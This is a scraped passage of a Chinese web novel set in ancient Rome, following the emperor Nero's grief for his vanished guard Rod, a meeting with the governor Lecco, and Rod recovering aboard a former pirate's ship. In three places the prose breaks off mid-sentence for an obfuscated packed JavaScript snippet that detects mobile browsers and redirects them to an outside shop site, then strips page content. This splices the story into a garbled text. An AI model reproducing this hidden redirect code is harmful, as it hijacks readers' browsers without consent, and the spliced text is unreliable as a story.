正在画油彩的双手猛地攥起拳,又颤抖着松开。尼禄的嘴唇抖动几下,恢复了平静说:“导致我失去他的,不是你,是克劳狄乌斯;但更准确的说,是纵火的门希。再准确些,是命运。”
络腮胡一时语塞。他目睹罗德跳崖的全过程,第一次知道原来男人之间也能有真情。在淫│乱到不忌讳男女的罗马,漂亮但没有生殖能力的同性通常只是露水情缘。
“我让你过来,是要问你一件事。”尼禄冷冰冰地说,“你知道近卫军长官专属的金剑在哪里吗?”
络腮胡想了想,说道:“那柄剑一直存在皇宫的地下室。据说沾过鲜血的剑能镇住鬼魂,尤其是与神明齐名的皇帝的鲜血。我的主人很相信这些玄乎的规矩,却不信任我,从未给过我近卫军长官的头衔。”
尼禄目光灼灼,“把它拿出来,布置在元老院的演讲台上。我要重启近卫军长官的职位。”
“您完全有权这么做。”络腮胡说道,“但……这个职位由皇帝的亲卫担任。您找好新的亲卫了吗?”
尼禄收回画油彩的手,脸色认真得宛如面圣。他的脸颊肉眼可见得变红,沉默着酝酿半天,最终象呼唤一样,用小心翼翼的语气说出一个名字:“罗德·法恩。”
络腮胡有些懵:“还……还是他?”
“除了他还有谁。”尼禄瞟他一眼,“继任仪式会顺便任命新一任近卫军长官,罗德不在,我要用金剑作为任命的标志。”
家奴递来羊皮纸和墨水,为主人拉开椅子。尼禄坐下,拿金属刻笔蘸墨水,在质地毛躁的羊皮纸上写下演讲要用的希腊语。
他字迹工整,写得很投入,很快就写满一页。
放下笔,尼禄迎着阳光站起身,将写好的演讲稿看一遍。阳光将他的瞳仁照个通透。
太过投入的他习惯性的、出于本能,发出一个纯真的微笑,“你的希腊语学得怎么样了?罗德,我们很久没有……”
他忽然顿住,话音戛然而止,又默默坐回到椅子上。
四周的奴隶屏息,没有一个敢出声。
……
从元老院到家宅,奴隶沿着街道撒玫瑰花和坚果,车轮碾压果壳,一路啪啦啪啦。
尼禄拿着演讲稿,一边反复默念演讲稿,一边晃着身体坐在颠簸的马车里。
这是继位演讲,皇帝必做的第一场演讲。阿格里皮娜多次派奴隶捎来口信,提醒他一定要熟背演讲稿,不要毁掉新皇帝的第一印象。
“我手握罗马。上穷无尽天,下至无底地,唯我一人尊……”
这是演讲的第一句话。
几名华服的奴隶将金砖堆成阶梯状,尼禄踩着金阶梯走下来,一身红底紫条纹的丝袍。
乐师列在元老院两侧,竖琴在他踏上第一个台阶时恰好奏起。元老院的三道门随着他的经过一扇扇打开。
美貌的女奴往空中撒金粉和花瓣,香水味扑面而来。他的睫毛落了金粉,音乐和欢呼声象失控的洪流一般压过来。这里集中苦难世界的所有热闹,宛如从稀薄的牛乳中硬炼出醍醐。
尼禄颈项笔直,从近卫手里接过权杖,所有的贵族盛装出席,集体站立为新皇帝鼓掌。
那柄剑,就竖在正中央的演讲台。剑身象一排沉钝的牙齿。
“我要你帮我拿到近卫军长官的金剑,然后毁了它。”罗德的话在耳边响起。
尼禄顿时遁入恍惚。
恍惚中,他看见打扮靓丽的母亲、雷珂、屋大维娅、假笑着的元老们……这些出现在他生命的活生生的人,此刻却象幽魂一样浮动着。所有声音都消失了,眼前好象一出默剧。他有一种置身事外的疏离感。
记忆回到那个在庄园的夜晚。在他兴冲冲地扑向罗德时,罗德闷声,闭着眼睛,直接向后倒进他怀里。
那个时候,我的罗德就已经不想活了吧。
尼禄这么想,心底一阵剧痛,仿佛心脏凿开一个孔,往外汩汩冒血。
不知不觉走到演讲台前。跟在身后的家奴提醒他:“您该做演讲了,主人……”
热烈的掌声和喝彩好象生长在院墙上的、割不完的疯长的杂草,从四面八方涌来。
尼禄伸手摸到剑柄,眼角泛红。因为眼里的水雾,他看什么都是颤颤巍巍的。
演讲台前,他哽咽了,开口就是一句莫名其妙的话:“我什么都没有了……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239678|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所幸这句哽咽的话淹没在四周的噪音里。
紧跟着他的家奴吓得一头汗,赶紧拽了拽他的袖摆,提醒道:“主人,这是继位仪式啊……”
尼禄握住剑柄,对着眼前默剧一样的场景,将喉头的酸涩硬是咽下去。
“我手握罗马。上穷无尽天,下至无底地,唯我一人……”他在这里作了停顿,喉咙涨得酸痛,演讲稿的一角被他捏出一团褶皱。
因为失去爱人而极尽世间权力和尊贵的尼禄,在这一刻觉悟到,众生皆苦。
……
典礼结束后,尼禄所做的第一件事,就是去地牢处置安东尼。
地牢里的罪犯都犯下过重罪,条件最为恶劣。但尼禄坚持要亲自过来,处死安东尼。
地牢又闷又湿,长满青苔的墙壁渗出黏糊糊的水珠,象沿墙流动的某种怪物的口水。
几名近卫在地牢的走廊里铺上草垫,尼禄咯吱咯吱地踩过一路干草,墙顶带有草腥味的水珠滴进撒满金粉的头发和披肩。
铁底的军靴停驻在一个小木窗前。尼禄用权杖抵了抵木窗。
里面传来激烈的动静,“哥哥!我的哥哥来救我了……”安东尼在囚牢里尖叫,拳头砸在囚笼的木板上咚咚作响。
“把笼子打开。”尼禄看着震动的木板说。
两名狱官用钥匙打开锁链,将只能躺着的安东尼从囚牢里拖出来。
一股刺鼻的恶臭散出。安东尼皮肤溃烂,青色的脓疮长满一脸,长久浸泡在秽物里的衣服破破烂烂,从脚到小腿都是黑色的。他的样子惨不忍睹。边上的狱官和近卫都缩起脖子,有的掩住鼻子。
“哥哥……”安东尼咧开嘴微笑,露出一排黑黄的牙齿,“我等你可太久了……”
尼禄冷着一张脸,没有任何表情,说道:“你的兄长不会来了。”
安东尼感觉不对,睁大眼睛去看来人,呆愣地说:“你是谁……”
尼禄没有回答他,接着原话说道:“你的兄长门希,因为纵火,害死了两百多人,还连累到大贞女茱莉娅,她因为帮助纵火而即将受到活埋。”
“纵火……茱莉娅……活埋……”安东尼断断续续地听着,一时反应不过来。
“最重要的是,”尼禄的语气忽然狠绝,“他相当于逼走了我的……”
罗德两字硬生生压下去。他认为蛆虫一般的安东尼不配听到这个名字。
安东尼意识不清醒,肮脏的头颅左右摇摆,嘴里哼哼道:“门希……哥哥……你来救我了……我好饿……好冷……”
尼禄嘴角抽了抽,一脸冷漠,看着精神不正常的安东尼在地上打滚。
“把熔化的铁水灌进他的喉咙里。”他一字一顿地命令道,“这样他就不会抱怨又冷又饿了。”
接到命令的狱官不由地寒毛直竖。
62. 海上的罗德
一艘装满物资的大船慢慢停靠在圆形海港。
戴着粗布头巾的水手们赤膊,晒得黢黑的皮肤沁出一层白花花的海盐,他们往岸上抛出船缆,套牢船桩,打出结实的水手结。
船长放下用来望远的棱镜,把无数根小细辫的头发往后一拨,露出满意的微笑。
一名矮小精瘦的水手跑过来,将头巾一摘,禀报道:“头领,船已经靠岸,您看现在该搬货了吗?”
船长眯起本就一道缝的眼,昂着头,阴阳怪气地说:“你刚才叫我什么?”
“头……头领啊……”水手抓两把后脑勺,有点胆颤地弯下腰。
船长捶他一拳,说道:“要叫我船长,我们现在是船商,不是海盗!”
水手忍着背上传来的疼痛,干笑两声,小心地问:“那……船长,咱们现在可以卸货了吗?要不,我去拿钩子,把货钩出来……”
船长又暴力地捶他一拳,“胡说!箱子里装得可是昂贵的易碎品!白痴才会用钩子!”
水手委屈巴巴,“满满一船货,人手一只只抬,到日落也抬不完……”
他又小声问道:“船长……咱们船里到底装的什么啊?一路上,我们不敢开快船、用毛毯包住它们,象对待女人一样呵护它。副船长只说是从东方进口的,别的也没说……”
船长咧开镶着几颗金牙的嘴,拍着扎满小辫的脑袋,“那个词真是该死的难拼写……好象叫什么次……管他呢!你们的副船长保证过它是合法的、能赚大钱,这就够了!”
水手张望四周,低声耳语道:“船长,你说……副船长刚来没多久,他说的话值得相信嘛?”
船长怒捶他一拳,喝道:“闭嘴!这一整艘船都是他给我鼓捣来的!你无知得就象一只没脑子只会蹦跶的水母!”
说完,他搓了搓鼻子,面向湛蓝的大海。
海面上,一片白色海鸥掠过,剪影嵌在太阳中央。他晒得黝黑的脸认真起来:“你入行太晚,哪里知道副船长和我过去的恩怨……”
水手揉着被捶痛的后背,问道:“那现在……我们该怎么办?”
船长看一眼层层叠放的货箱,无奈地说:“我问你们的副船长吧。”
……
副船长的舱室很干净。船长把自己的舱室专门腾出来,留给了新来的副船长。
准确的说,是在水边捡来的副船长。
两个月前的晚上,痛哭流涕的头领带着鼻青脸肿的海盗们上岸,准备找个黑市商人把船贱卖。他们侥幸从官船的追赶中逃脱,飞来的投石砸得他们头破血流,连桅杆都断了。
头领看着受伤的手下们,鼻涕和眼泪齐下,哭喊着发誓再也不做海盗了。
然而就在上岸时,他们在水边发现了奄奄一息的罗德。
头领当即就认出,那是奥古斯都后人的亲卫,曾经帮他劫持一艘装满丝绸的商船……
罗德头靠着窗框,一边往窗外望着纸片般的海鸥,一边啃着一颗歪歪扭扭的苹果。他一身劣质的粗布衣服,长发用带子束起,下颌骨随着啃咬的动作一动一动。
遮门的草帘掀起,阳光象金黄的雾气一样洒进来。罗德的眼睫渐渐下斜,看向门口说:“船靠岸时要轻点,韦尔巴。不要碰碎了箱子里的陶瓷。”
韦尔巴搓着冻得通红的双手,缩了缩脖子说:“还是这里暖和。我把最好的舱室腾出来给你,我可真是个有情有义的大善人。”
罗德咬一口苹果,“我帮你修好桅杆,还帮你签合同。你一点不亏。”
“不亏,当然不亏……”韦尔巴谄笑着,凑上前去,“从那么高的山顶跳下来,虽然没死,你也伤得不轻,骨头断了好几根,更别提数不清的淤青和擦伤。行医的老头说,你还得在温暖的被窝里躺半个月。”
罗德不屑一顾,两只还绑着绷带的腿随意一叠,“但凡缺钱的医生都喜欢说重病情,来增加收入。我受过比这更重的伤,清楚自己身体的状况。我已经可以下地走路了。”
韦尔巴给他掖严实被子,笑容憨厚,“好好养伤。毕竟……你可是我认识的唯一一个能读懂合同的人了。我不想再过靠劫持为生、朝不保夕的海盗生活。”
他用冰冷的双手抱住罗德脚边的暖炉,“话说回来,你泡在水里穿的那身丝绸真值钱,居然能换一根材质上乘的桅杆。”
罗德无声地瞥他一眼。
韦尔巴用下巴指了指窗外的货箱,目光炯炯有神,“这批叫什么次的货,会和丝绸一样值钱吗?”
“是来自东方的陶瓷。”罗德靠着床头,慢悠悠地啃着苹果,“它有多值钱我不清楚。但我在皇宫里见过用玻璃罩起来的瓷器,听说是相当珍贵的收藏品。”
韦尔巴听到“皇宫”,眯缝眼鼓囊起来,坏笑着望向罗德:“皇宫?想你的主人了?不知道他变成什么样了。上次在船上看见他时,还是个会咬人的小绵羊……”
罗德将苹果肉咬光,眼睛直直看向前方,没理会他。
“真不明白,你为什么宁愿住在海上,给一个海盗出身的船商出谋划策,也不愿意回皇宫享福。”韦尔巴挠头,“剧院里边,整天都在上演你和他的爱恨情仇……”
罗德从唇边移开苹果核,岔开话锋说:“一会记得向码头工人租个起重器,用来卸货。”
韦尔巴一拍脑袋,灵光乍现似的,“噢……差点忘了,我正是为这个过来的。”
他又粘乎乎地凑上去,收敛嬉笑的表情,“不过我还是想问你,你到底为什么不回去?皇帝平反了你的失职罪,这一个多月来找你找得快疯了。我敢打赌,整个罗马,就差下水道和粪池没掀开搜了!”
罗德表现得平静,眼睛轻轻半阖,黑密的睫毛相触。他这副视觉惊人的黑发红唇,配合过于简陋的、根本配不上他的衣服,此刻有委曲求全的意思。
“又死了一次。”他语气平淡地说,“这次我累了。”
不明所以的韦尔巴恶狠狠地说:“说得你好象死过似的!”
他蹲下来,瞄着罗德的脸,瓮声说道:“不过……虽然我不喜欢男人,但不得不承认,你长得很好看,不愧是歌谣里复仇女妖的原型,就连我船上的弟兄也会唱……”
罗德一扔苹果核,准确砸中他的脸。
韦尔巴象跃起的鱼一样弹跳起身,手背擦掉脸上的果屑,笑道:“再过几天,新皇帝会乘坐马车绕城一圈,走遍每一条街道。你去不去给你的前主人捧场?”
“不去。”罗德一丝不苟地说。
韦尔巴坚持不懈地坏笑着:“真的不去?据说马车的路线靠近这片海。”
罗德面朝小窗,光线打亮素白的脸,两个月的卧床生活让他气色红润。他神色平静,气质中隐含一点阅尽千帆后的悲悯。
“把望远的棱镜给我,我在船舱里瞧一眼。”他说,又轻轻补充一句:“一眼就够了。”
韦尔巴一脸意味深长,挪着笨重的步子移到门口,身体撤出去,只伸出一张笑嘻嘻的脸。
“你还是不累!”
他抛出这句话,赶紧掀开草帘,逃命似的跑了。
……
一上台,尼禄以亲民和铁血的作风闻名。
在顾问们的提点下,他压低粮食价格,降低税赋,让穷人也能温饱,还公开政府的税收记录以防止官员贪污舞弊。对于贪污的贵族,全部处以极刑,妻子儿女贬为最低贱的公共奴隶。
对比上一任畏首畏尾的老皇帝克劳狄乌斯,行事果敢的尼禄被崇尚野性的罗马人崇拜。尤其他大力惩治贵族、制定一系列倾斜于平民的政策,更受到平民们的敬爱。民间自发举办“尼禄节”,将他上任的日子定为节日。
与此同时,近卫军搜遍全城,依然一无所获。尼禄的意志不断消沉,对待事务的态度愈发严苛。
下午时,他处死了两名从厨房偷走食物、拿出去卖钱的女奴。偷拿食材卖钱,这个现象在贵族里并不少见,但一般的主人都会选择放过。
跟随多年的家奴端来牛奶时,尼禄看到因为手抖而不断碰撞的杯盏、瞟到家奴惶恐的脸,忽然意识到,已经很久没人主动跟他说过话了。
他停下正在写字的刻笔,放倒高档的蜡板,问道:“我还有多少奴隶?”
家奴一惊,如实回答道:“宫殿和庄园加起来,一共六十五个。”
“只有六十五个吗?”尼禄微微皱眉。
“是的。”家奴说,“前几天,因为庄园的鸡被冻死,您把二十多个奴隶发配到了矿区。”
尼禄唇角一撇,冷淡地说:“少几个也无妨。”
家奴将盛着牛奶的杯盏端到桌上,默默擦一把汗,“高卢总督要过来了,捎来的口信说他给您带了一点薄礼。”
尼禄提起的刻笔又停下,“……雷珂吗?”
家奴点点头,“他说他明天就要离开罗马回高卢,所以今晚来拜访您。”
……
这是一场时隔近一年的见面。
从高卢的战场回来后,尼禄就再也没见过雷珂。那时,他还是个刚刚成年的、连战马都骑不大稳的大男孩。
那时罗德还在他身边。
雷珂独自一人前来,鬓边的头发明显灰白了些。他穿着仿肌肉形状的铁甲,脖子上戴着一片敌人的森白的头盖骨,下半身围着豹子皮。
“我要恭喜你,尼禄。”他姿态恭敬,然而长期管辖军队使他有着不轻易低头的气质,“你出身高贵,年纪轻轻就顺利走上王座。你的一生都受到命运的优待。”
尼禄披上会客时的华服,坐在高处铺着兽皮的椅子上,回道:“命运从不优待我。我所取得的一切,不过是熬煮自己的骨头献祭给命运,而命运又施舍我的一杯肉羹。”
他望向站在脚下的高卢总督说:“好久不见,雷珂。多年不肯踏进罗马的你,愿意来我的继任仪式,我感到荣幸。”
“我不只是为了你而来,还为了我死去的表弟。我刚刚在神龛前拜祭过他。”雷珂沉稳地说,“我见过他的孩童时期,也见过他骨灰盒。这种见识令我觉得整个世间都是假的。”
尼禄徐徐开口道:“万事无一不变。上次见你时,我是一个初入政坛的指挥官,现在成了一个孤独的皇帝。”
雷珂打量着他说:“你成熟了很多,多米提乌斯,仅仅一年而已,你的骨子里透着坚韧和老成。我听说了你们的事。这件事人尽皆知,就连远离罗马的高卢人,都知道皇帝的亲卫跳崖自尽,到现在都下落不明。”
尼禄嘴唇抿紧,面色白了几分。
雷珂回想起一个黑发黑眼的英俊身影,说道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239679|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“他和泰勒斯长得太像,早在第一眼见他时我就猜到他的身份。我本担忧你会和卡里古拉一样栽在自己亲卫的手上,没想到最终是他栽在你的手里。”
尼禄按住扶手的手指在发抖,脸色由白转红,又渐渐恢复原始的苍白。
他冷静下来,语气沉缓地问道:“你是卡里古拉的朋友,是少数见过泰勒斯真面目的人。关于泰勒斯,和法恩家族,你知道多少?我要你一五一十地告诉我。”
雷珂长叹一口气,脸色晦暗,“我只见过泰勒斯一次,那时他刚刚被任命为近卫军长官,佩戴着你继任仪式上的那柄金剑,跟在卡里古拉身侧,但总是一副不情愿的样子。”
尼禄开口道:“据说他是被强行征入近卫军的。”
“没错。卡里古拉去科西嘉行军,在战役结胜利后,他换上便服,想偷溜出军营在外面赌一把,翻墙时被负责守夜的泰勒斯拦住了。就是这一拦,开始了一切的悲剧。我了解卡里古拉。他喜好赌博、风流花心、行事极端。他不立皇后,有过数不清的女人和男人。但有了泰勒斯之后,他收敛得象一个禁欲的圣哲,对美女美男都视而不见,连赌博的毛病都戒了。”
“那泰勒斯呢?”尼禄问道,“他对我的舅父态度如何?”
“不好,甚至可以说很差。”雷珂挑起一边眉毛,“当时泰勒斯还在科西嘉抚养着一个小男孩,说是自己的儿子。因为征入近卫军而被迫父子分离,再加上两年前法恩家族曾被卡里古拉下令灭门……我想他到死都恨着他。”
雷珂的语气深沉起来,“没想到,那个小男孩,后来会成为你的亲卫,又在罗马搅起一阵这么大的风波。”
尼禄目光沉沉,“法恩家族为什么会被灭门?”
“因为犯罪。”雷珂说,“家主接受富裕奴隶的钱,买下他们,再利用贵族的身份给他们释放令。”
尼禄思量着说:“买卖公民身份,一般是剥夺贵族的资格,不必灭门。”
“当时卡里古拉刚刚继位,需要立一个下马威,法恩就成了牺牲品。”雷珂说,“泰勒斯因为在服兵役,受到军籍的保护,才免于一死。”
尼禄默声一阵子,探问道:“法恩家主,就只有泰勒斯一个儿子吗?有没有……别的儿女?”
“他有个姐姐,或许在灭门时被处死了。别的我不清楚。”雷珂说,“我对法恩的了解仅限于此。泰勒斯成为近卫军长官不久后,我就主动提出调去高卢行省。”
尼禄抬起眼睛,“你为什么要去高卢?那里是出了名的蛮夷之地。”
“因为……”雷珂似乎难以启齿,“我在近卫军长官的任命仪式上,多看了泰勒斯一眼。”
“多看了他一眼?”尼禄疑道。
“一个外省士兵,一夜之间被赋予重权,掌管皇室的精锐部队。我只是好奇这个人是谁,并没有别的意思。”雷珂说,“但卡里古拉的嫉妒心太重,因为这个当众对我冷嘲热讽。我难以忍受这个窝囊气,主动去高卢做总督,发誓永不利用高卢的精兵造反,永不将双手伸向王座。”
他的神色有些别样,“听说……自那以后,卡里古拉就让泰勒斯戴着面罩示人,有一段时间甚至软禁他。卡里古拉小时候还是个开朗热情的人,长大后却成了疯子。”
尼禄从椅子上走下来,绣着紫条纹的袍摆拖到地面,一边踩下镀金的台阶,一边说道:“这么说来,泰勒斯宁愿被钉十字架,也要刺死疯子一样的仇人。这是能理解的。”
他走到雷珂身边,问道:“他的骨灰放置在哪里?”
雷珂回道:“被钉死在十字架的罪犯,骨灰都会放置在神庙的地穴,以防止穷凶极恶的鬼魂再次作恶。”
“神庙吗……”尼禄思索一阵,嘴里喃喃道,“哪一座神庙?我要亲自去查。”
雷珂耸耸肩,“我多年不在罗马,回答不了这个问题。你可以问问别人。一般来说,是那个时候最大的神庙。”
尼禄意识回溯,突然想到曾经为洪水祭祀而重启的神庙。那个没落的神庙,比如今的维斯塔神庙还大,里面还有画着潘多拉开启魔盒的壁画。
以及,罗德的母亲,也曾在那里做过贞女。这是他之前秘密调查罗德的身世时得知的。
众多隐晦不明的线索连结一通,象恶魔胞胎的脉搏终于连通,无形之中有血光,一个令人惊骇的真相即将出生。
生命中一切看似无关联的事件,其实都在暗中勾结。
尼禄感觉自己直面寒冷。
“我今天不是空手过来的,给你带了一件礼物。”雷珂粗犷的声音将他拉回现实。
他将手伸向腰间的豹子皮,从腰带上解下一只黄金制的圆筒。
“这是高卢军队的传令节。”雷珂说,“高卢军人的作战能力是最强的。我把最强大的军队交给你了,皇帝。当年临去高卢时,我曾向皇帝保证过,永不将双手伸向王座。现在,这句承诺依旧有效。你刚刚登基,脚跟还没站稳,需要一支所向披靡的部队作为底气。”
尼禄拿过传令节,指肚抚过圆筒上的母狼刻印,轻声说:“谢谢。”
“不用谢我。”雷珂脸色沉重,“要谢就谢为你跳崖的亲卫吧。他曾在高卢救过我一命,我欠他一个人情。”
尼禄攥紧传令节,眼前一阵发黑。
63. 浴池中的梦
拿到高卢军队的传令节,意味着握住了罗马的命脉,这是罗马作战能力最强的军队。
尼禄奖赏雷珂一套带有花园的别墅,让他负责日常训练士兵,但调动兵马的权力完全掌握在自己手里。
以高卢军队为例,他在元老院暗示其他将军,答应给他们财产作为补偿。将军们看到兵力最强的高卢都归服,也纷纷交出兵权。
上台后对贵族阶层的整治、兵权的收回,尼禄完成了权力的集中。自此,他的帝位彻底稳固。
作为皇帝拥有更多的资源。尼禄想动用这些资源,调查有关罗德的一切,包括法恩,包括他的母亲,甚至包括他的舅舅泰勒斯。
之前调查罗德的身世时,他之所以得知罗德为贞女所生,是一位老贞女告诉他的。
那时,他彻查泰勒斯的犯罪记录。令他惊讶的是,除了刺死皇帝,还有一条较小的罪名:与贞女来往书信。尼禄根据这道记录,找到那个贞女所在的神庙,还找到在那里服役时间最长的老贞女。
巧的是,之前的洪水祭祀就是在这座神庙进行的。它曾是罗马境内最大最权威的神庙,如今却已没落。
老贞女为它服役了三十年。当年,她目睹一位黑发黑眼的女孩初到神庙,还是老贞女给她梳的三股辫子。
她告诉尼禄,那个贞女名叫黛妮,因为外貌出众、举止优雅被公认为下一任大贞女。然而,有一天她被同僚茱莉娅举报和男人有书信来往,犯了贞女的大忌。资历最老的她辅佐大祭司审查这件事时,发现书信是写给当时的近卫军长官的。信中他们姐弟相称,还提到她生过一个男孩,长在科西嘉军营。
熟悉法恩家族的人,大多知道泰勒斯有个姐姐,但都以为她因家族的罪行早就被处死。没人知道她居然能混进神庙当起贞女。这是贞女筛选不合格的结果。
大祭司烧毁所有信件,刻意隐瞒他们的姐弟关系,以与泰勒斯有染、且育有一子的罪名上报给卡里古拉,并按照他的旨意活埋黛妮。
皇帝将这个丑闻压了下去。因此,只有卡里古拉、老贞女和大祭司知道活埋贞女的事;而比起皇帝,老贞女和大祭司还知道,被活埋的贞女并非是泰勒斯的情人,而是他的亲姐姐。
因为这个丑闻,大祭司引咎,主动降职去了军队。这座罗马最大的神庙开始没落。
丑闻没过多久,就曝出近卫军长官刺死皇帝的惊天消息。
而当时的大祭司,就是现在人人喊打的通缉犯门希。
……
夜晚,奴隶点起乳香,青灰色的香烟从香炉孔溢出。训练有素的女奴铺好床,阖上百叶窗,将挂在壁画上的蜡烛点亮,最后再把含嘴里一天的香料吐掉。皇帝宫寝里的所有奴隶都会在舌头下垫一块肉桂,以使呼吸带着香甜。
尼禄在两侧太阳穴涂抹一点薄荷油。他刚刚写好明天要在元老院讲的东西,身边还站着一个辅政顾问,帮他剔掉演讲稿里的个别错误。
顾问年近五十,也是一名元老,曾在尼禄小时候接受阿格里皮娜的聘用,担任尼禄的家庭教师。现在尼禄登帝,又返聘他为辅政顾问。
尼禄闭着眼睛,揉着太阳穴,慢悠悠地说:“还有多少将军没交出兵权?”
“所有行省的将军都交了,就只有……”顾问翻开一页名单,手指划过一个个名字,最终停了下来,“只有尤利乌斯没交传令节,不过他口头答应会交。他的兵力只限于城内,战力并不强。”
尼禄依旧闭着眼睛问道:“尤利乌斯?我很久没有在元老院的席位上看见过他了。”
“自从他的女儿和外孙死了,他就一直很低落,连手下的士兵偷偷嫖妓也不管。”顾问说,“他自甘堕落,整天与一帮阉奴厮混,无心政治很久了。”
“这个废物构不成什么威胁。”尼禄语气轻蔑,“等他交过来传令节,就赏他一帮美貌的奴隶,打发他去那不勒斯。”
顾问将这个命令记在备忘本上。记完了,刻笔不断上移,点在上一条行程旁边。
“再过两天,您需要乘坐花车巡城,与平民们见面,这是他们第一次见您。”顾问看着备忘本说,“这几天我们让奴隶扫干净石板路,准备五千阿斯重量的榛果,还有六十车的玫瑰花瓣,路线会经过城内所有的主街道。您看我们在沿街施舍什么为好?初步打算是加梅子的葡萄酒……”
“这些都不重要,交给你们安排。”尼禄停下肉太阳穴的动作,疲惫地靠上椅背。
顾问叮嘱一句:“您要在花车上站一天,会很累,这两天需要好好休息。”
尼禄疲惫地说:“再加一条行程,巡城之后,我要去一趟神庙,就是办过洪水祭祀的那座。它是卡里古拉时代最大的神庙了吧,我记得里面还有潘多拉魔盒的壁画。”
顾问的脸色谨慎起来,“不过那个神庙……就在您庄园的那座山上,在半山腰。您这次过去,无异于故地重游。虽然过去两个月了,但您能承受得住吗……”
“我知道。”尼禄睁开眼睛,烛光从四面八方射进来,照进他的眼底。他觉得刺痛,忍不住眯起眼睛。
他以劳累又惨烈的嗓音说道:“我必须能承受住。”
顾问眼神惊异地看着他。
“泰勒斯的骨灰就埋在那座神庙的地穴。”尼禄说,“说不定也有他姐姐的尸骸……”
那是罗德的母亲,是我的岳母。
忙碌一整天的尼禄在困倦中这么想着,神游天外。
顾问惊呆了,脱口问道:“泰勒斯还有姐姐?他的姐姐又怎么会埋在神庙?”
尼禄清醒一些,瞥见一旁张大嘴巴的顾问。
“没什么,”他脸色沉晦,“这件事你不必过问,记好行程就够了。”
顾问识眼色地应声,合上备忘本,摘掉挂在左眼前可以放大字体的镜片。
他掂量着措辞,语气委婉地说:“军人们已经将整座城搜了四五遍……”
尼禄瞬间清醒,心脏象被拉扯一样,紧张得猛烈跳动。两个月了,比起没有消息,他现在更怕听到罗德的下落。
因为那意味着罗德真的死了。
“除了无边无际的大海,但凡遇水,军人们都会来来回回打捞。但是……一无所获。”顾问充满歉意地说,“就连鞋子、衣服什么的都没找到。”
尼禄松口气,紧绷的身体慢慢松弛下来,冷冷地下命令:“继续找。”
顾问点点头,“还有一件事……门希的悬赏金已经快提到法律的上限了。但他就象蒸发一样,我们怀疑他逃去了外省,但城境处没有他的出城记录。”
“将悬赏金提高到上限。”尼禄语气危险,“等找到他,我要亲眼见证他从脚底开始、一点点剥光全身的皮。”
顾问沁出一头冷汗,赶紧打开备忘本记上这一条。
……
方形浴池冒着热汽,四角竖立着哗哗吐水的蛇头雕像。奴隶往池子里撒玫瑰花瓣和滴精油,浴室的帘子是镶满钻石的网纱,在翻滚上升的水汽里有模糊的光点。
劳累一天的尼禄泡在热水里。奴隶刚在池边放上皂角和毛巾,就被他支走站到帘外。
尼禄屈膝,蹲到池底,温柔的热水几近将他灭顶。他浮出水面,湿透的银发往后一捋,因为消瘦而显得硬朗的五官毕露。
他靠着浴池的大理石壁,热汽蒸得他脸颊发红。他在困倦中眯起眼睛。
意识恍惚中,翻滚的白汽与那天山顶的白雾很象。
尼禄半梦半醒,隔着雾一般的水汽,看到一个轮廓,柔亮的黑色长发,深邃如磐石的黑眼睛,明艳的红唇,水面恰好没到突出的锁骨下方。
“罗德……”尼禄惊喜地睁大眼睛,“你回来了。”
罗德在雾气后面冲他微笑。
尼禄游过去,将脸埋进他湿滑的颈窝,吻着他的喉结说:“我想你想得要疯了。”
罗德环住他的脖颈,侧脸相贴,双唇贴着他红透的耳垂说:“我也好想你,尼禄。”
“我知道你没有死……”尼禄的手掌顺着曲线分明的脊背上移,“你躲到哪里去了……我一直都在找你。”
他把罗德揽入怀中,亲吻他黑亮的湿发,胸膛紧紧贴着,有水珠顺着罗德下颌的形状,流到白皙的胸膛,再挤进两人皮肤的缝隙之间。
“我……”罗德轻轻抬头,推开了他。
尼禄被推开,感到很惊讶,用力眨几下眼睛,渴望看清楚他的黑发红唇。
“卢修斯。”罗德微笑着叫他的小名,慢慢往后退去。
“罗德,”尼禄惊慌起来,“你要去哪里……”
“卢修斯……”罗德一边念他的小名,一边象在那天的山顶一样,最终消失在翻滚的白雾里……
尼禄是在浴池里哭醒的。
天花板凝结的水珠滴落,砸中红热的眼睑。尼禄一个激灵。
他伸手,试图拨开翻滚的水汽,水汽后面空荡荡的,什么都没有。
这一刻的尼禄觉得整个世界都是虚假的。
他喉咙干渴,一低头,几瓣鲜红的玫瑰花瓣漂移过,就看见腿间的竖起……
草草用毛巾擦掉水珠,尼禄裹好睡衣,一边系紧绣着生殖图腾的腰带,一边走出浴室。
他清了清干哑的嗓子,面朝卧室,对因等候多时而瞌睡的奴隶命令道:“把罗德的手套取出来,放到我床上。”
他品味着梦里罗德的脸庞,一股热血上头,声音低沉地说:“我要用。”
……
自从接到要交传
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239680|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
